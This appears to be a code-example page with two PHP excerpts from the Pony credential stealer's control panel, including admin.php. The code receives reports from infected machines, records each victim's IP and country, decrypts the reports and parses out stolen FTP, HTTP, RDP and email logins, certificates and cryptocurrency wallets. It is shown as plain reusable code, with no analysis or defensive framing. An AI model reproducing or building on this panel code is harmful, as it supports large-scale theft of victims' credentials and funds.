示例#1
0
     $report_new_encryption = true;
 }
 if (report_parser::check_report_crypted_header($received_report_data) || report_parser::verify_new_file_header($received_report_data)) {
     // try to pre-decrypt report data
     report_parser::pre_decrypt_report($received_report_data, $pony_db_report_password);
 }
 // add non parsed report
 $report_id = $pony_db->add_nonparsed_report($ip, $ip_country, $received_report_data);
 if ($report_id) {
     // there's new report available for parsing
     $report = new report_parser($pony_report_options);
     // process report
     ob_start();
     // detect report processing noise
     error_reporting(E_ALL);
     $parse_result = $report->process_report($received_report_data, $pony_db_report_password);
     $ob_data = trim(ob_get_contents());
     error_reporting(0);
     ob_end_clean();
     if ($parse_result) {
         $report_status_ok = true;
         if ($enable_http_mode) {
             $url_list_array = array_merge($report->ftp_lines, $report->http_lines);
         } else {
             $url_list_array = $report->ftp_lines;
         }
         $url_list_array = array_merge($url_list_array, $report->rdp_lines);
         if ($enable_email_mode) {
             $email_lines = $report->email_lines;
         } else {
             $email_lines = null;
示例#2
0
文件: admin.php 项目: captincook/Pony
         if (!count($report->log->log_lines)) {
             $pony_db->report_remove_errors($report_id);
         }
     }
     $smarty->assign('parse_result', $parse_result);
     $smarty->assign('parse_new_ftp', $pony_db->get_report_linked_passwords_count($report_id) - $ftp_count_before_reparse + $pony_db->get_table_row_count(CPONY_CERT_TABLE) - $cert_count_before_reparse + $pony_db->get_table_row_count(CPONY_WALLET_TABLE) - $wallet_count_before_reparse + $pony_db->get_table_row_count(CPONY_EMAIL_TABLE) - $email_count_before_reparse);
     clear_floating_offsets($pony_db);
 }
 // enable debug mode
 global $global_verbose_log, $global_allow_all_ftp;
 $old_global_verbose_log = $global_verbose_log;
 $old_global_allow_all_ftp = $global_allow_all_ftp;
 $global_verbose_log = true;
 $global_allow_all_ftp = true;
 $report = new report_parser($pony_report_options);
 $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password);
 $log = $report->log->log_lines;
 $log_list = array();
 foreach ($log as $log_list_item) {
     list($log_line, $log_extra) = $log_list_item;
     if (strpos($log_line, 'NOTIFY_NEW_HTTP:') !== false) {
         if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) {
             array_push($log_list, array('log_line' => $log_line, 'log_extra' => $log_extra));
         }
     } else {
         if (strpos($log_line, 'NOTIFY_NEW_EMAIL:') !== false) {
             if ($enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) {
                 array_push($log_list, array('log_line' => $log_line, 'log_extra' => $log_extra));
             }
         } else {
             array_push($log_list, array('log_line' => $log_line, 'log_extra' => $log_extra));